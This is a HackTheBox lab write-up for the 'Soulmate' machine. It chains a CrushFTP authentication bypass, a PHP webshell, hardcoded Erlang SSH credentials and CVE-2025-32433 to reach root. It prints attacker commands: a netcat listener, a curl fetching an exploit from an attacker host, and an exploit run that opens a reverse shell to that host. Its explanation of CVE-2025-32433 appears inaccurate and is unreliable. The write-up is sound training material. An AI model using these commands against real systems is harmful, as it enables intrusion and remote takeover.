← Writeups
EasyLinuxHackTheBoxCVE-2025-31161CVE-2025-32433

Soulmate — HackTheBox Writeup (Linux, Easy)

CrushFTP authentication bypass via S3 header spoofing gives admin access, a webshell lands a shell as www-data, and hardcoded Erlang SSH credentials pivot to ben — then CVE-2025-32433 takes it to root.

2025-09-09

// Attack Chain

Subdomain enum → CrushFTP (CVE-2025-31161 auth bypass) → Webshell → www-data → Erlang creds → ben → CVE-2025-32433 → Root

Attack Chain Overview

CODE
Subdomain enumeration → ftp.soulmate.htb (CrushFTP)
        ↓
CVE-2025-31161 — S3 header auth bypass → Admin access
        ↓
Upload webshell → RCE as www-data
        ↓
Config file → hardcoded password (not reused)
LinPEAS → internal port 2222 (Erlang SSH daemon)
Erlang script → hardcoded creds for ben
        ↓
SSH as ben (port 2222)
        ↓
CVE-2025-32433 — Erlang SSH RCE → Root

Phase 1 — Reconnaissance

Nmap Scan

BASH
nmap 10.10.11.86 -sC -sV -p22,80
CODE
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Two ports open — SSH and a web server. The site title was "Soulmate - Find Your Perfect Match", indicating a dating/matching web app.

Web Enumeration

BASH
dirsearch -u http://soulmate.htb
CODE
301 → /assets/
302 → /dashboard.php   (redirects to /login — auth required)
200 → /login.php
302 → /logout.php
302 → /profile.php     (redirects to /login — auth required)
200 → /register.php

Nothing immediately exploitable on the main domain. Registration appeared broken at the time.

Subdomain Enumeration

BASH
gobuster vhost -u http://soulmate.htb \
  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain -r
CODE
ftp.soulmate.htb  →  Status: 200

Why this matters: Many HTB machines host services on subdomains not linked from the main site. Virtual host enumeration catches these hidden services — always run it before moving on.

Added ftp.soulmate.htb to /etc/hosts and navigated there.

CrushFTP Discovery

BASH
whatweb http://ftp.soulmate.htb
CODE
CrushFTP, nginx/1.18.0 (Ubuntu)
Redirects to: /WebInterface/login.html

What is CrushFTP? CrushFTP is an enterprise-grade multi-protocol file transfer server (FTP, SFTP, FTPS) with a web management interface. Seeing it here immediately flags it as a CVE target — enterprise software in CTF machines is almost always on a vulnerable version.


Phase 2 — Initial Access (CVE-2025-31161)

The Vulnerability

CVE-2025-31161 (also tracked as CVE-2025-2825) is an authentication bypass in CrushFTP's S3-compatible API endpoint. When the server is configured with lookupuserpass = true, it improperly validates S3-style Authorization headers — allowing an unauthenticated attacker to impersonate any user, including admin.

Root cause: CrushFTP trusted the username embedded in the S3 Authorization header without verifying the corresponding credential. You could claim to be admin in the header and the server accepted it.

Exploitation

The exploit sends a crafted HTTP request with a spoofed S3 Authorization header to authenticate as admin without knowing the password.

Once authenticated as admin, the next step was modifying users/MainUsers/ben.XML to grant the ben account upload permissions — possible because as CrushFTP admin you can edit user config files directly through the web interface.

Webshell Upload → RCE

With upload permissions enabled, a PHP reverse shell was uploaded through the CrushFTP web interface and triggered via curl:

BASH
# Listener
nc -lvnp 4444

# Trigger shell
curl "http://soulmate.htb/rev.php"

Shell received as www-data.

Shell Stabilisation

BASH
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 160

Phase 3 — Post-Exploitation & Lateral Movement

Initial Enumeration as www-data

BASH
cat /etc/passwd

User ben exists with a real shell (/bin/bash) but his home directory was not readable as www-data. This is the target for lateral movement.

Credential Discovery in config.php

BASH
cat ~/soulmate.htb/config/config.php
PHP
$adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
$adminInsert->execute(['admin', $adminPassword]);

The plaintext is visible in source code. Testing su ben with Crush4dmin990 failed — no password reuse here.

LinPEAS — Finding Hidden Internal Services

BASH
./linpeas.sh

Key finding — locally bound ports not exposed externally:

CODE
127.0.0.1:2222   ← Custom SSH service  ★ INTERESTING
127.0.0.1:8443   ← Unknown
127.0.0.1:8080   ← Possibly dev interface
127.0.0.1:4369   ← Erlang Port Mapper Daemon (epmd)
127.0.0.1:9090   ← Unknown

Why port 2222 stands out: Port 4369 is the Erlang Port Mapper Daemon (epmd) — its presence hints that an Erlang application is running. A banner grab confirmed it:

BASH
nc 127.0.0.1 2222
CODE
SSH-2.0-Erlang/5.2.9

This is not OpenSSH — this is Erlang's own SSH implementation, running on a custom port.

Erlang Script with Hardcoded Credentials

BASH
find / -name "*.escript" 2>/dev/null

Found at /usr/local/lib/erlang_login/start.escript. Inside it:

ERLANG
{user_passwords, [{"ben", "HouseH0ldings998"}]}

Why this is a critical finding: Hardcoding credentials in a startup script is a common real-world mistake. The developer configured the Erlang SSH server with a plaintext password in the source file, making it trivially discoverable by anyone with filesystem access.

SSH as ben

BASH
ssh ben@10.10.11.86 -p 2222

Username: ben | Password: HouseH0ldings998


User Flag

BASH
ben@soulmate:~$ cat user.txt

Phase 4 — Privilege Escalation (CVE-2025-32433)

The Vulnerability

CVE-2025-32433 is a critical RCE vulnerability in Erlang's built-in SSH server (ssh OTP application). When the SSH daemon is configured without proper session isolation or privilege separation, it allows authenticated users to execute arbitrary commands as the process owner — in this case, root.

Root cause: The Erlang SSH daemon ran as root and did not properly sandbox user sessions from the underlying OS process context. The exploit leverages this to execute commands with root privileges via a malformed SSH channel request.

Reference: OffSec CVE-2025-32433 Analysis

Exploitation

BASH
# Download PoC to target via curl
curl http://<attacker-ip>/cve-2025-32433.py -o exploit.py

# Run exploit against the local Erlang SSH daemon
python exploit.py 127.0.0.1 --shell --lhost <attacker-ip> --lport 4444

Why it worked: The Erlang SSH daemon ran as root (it needed elevated privileges to bind to system-level resources) but failed to drop privileges after accepting connections. The vulnerable version (5.2.9) allowed session channel exploitation that broke out of the intended user context entirely.


Root Flag

BASH
root@soulmate:~# cat /root/root.txt

What Went Wrong Along the Way

Credential reuse check too long: Spent too long trying to reuse Crush4dmin990 before moving on. One failed attempt is enough — document it and pivot.

Shell type check: Could have uploaded a simpler reverse shell earlier rather than researching complex RCE paths through CrushFTP. Get shell first, enumerate later.

Missed internal ports early: Checked ben's writeable directories too late. Focusing on readable files and config earlier would have saved time.


Key Commands Reference

BASH
# Subdomain Enumeration
gobuster vhost -u http://soulmate.htb \
  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain

# Web Directory Enumeration
dirsearch -u http://soulmate.htb

# Banner Grab on Local SSH
nc 127.0.0.1 2222
# Output: SSH-2.0-Erlang/5.2.9

# Read Erlang startup script for credentials
cat /usr/local/lib/erlang_login/start.escript

# User pivot via Erlang SSH
ssh ben@10.10.11.86 -p 2222

# Escalation via CVE-2025-32433
curl http://<attacker-ip>/exploit.py -o exploit.py
python exploit.py 127.0.0.1 --shell --lhost <attacker-ip> --lport 4444

Lessons Learned

What Worked Well

What to Do Faster Next Time

Detection & Defense

How to detect this attack:

How to prevent it:


CVE Summary

CVESoftwareTypeImpact
CVE-2025-31161CrushFTPAuth bypass via S3 header spoofingAdmin access without credentials
CVE-2025-32433Erlang/OTP SSHRCE via SSH channel exploitationRoot shell

Tools Used

ToolPurpose
NmapPort scan and service fingerprinting
dirsearchWeb directory enumeration
gobusterVhost/subdomain enumeration
whatwebService fingerprinting
nc (netcat)Banner grabbing + catch reverse shells
LinPEASAutomated post-exploitation enumeration
Python exploit (CVE-2025-32433)Erlang SSH privilege escalation
← Back to writeups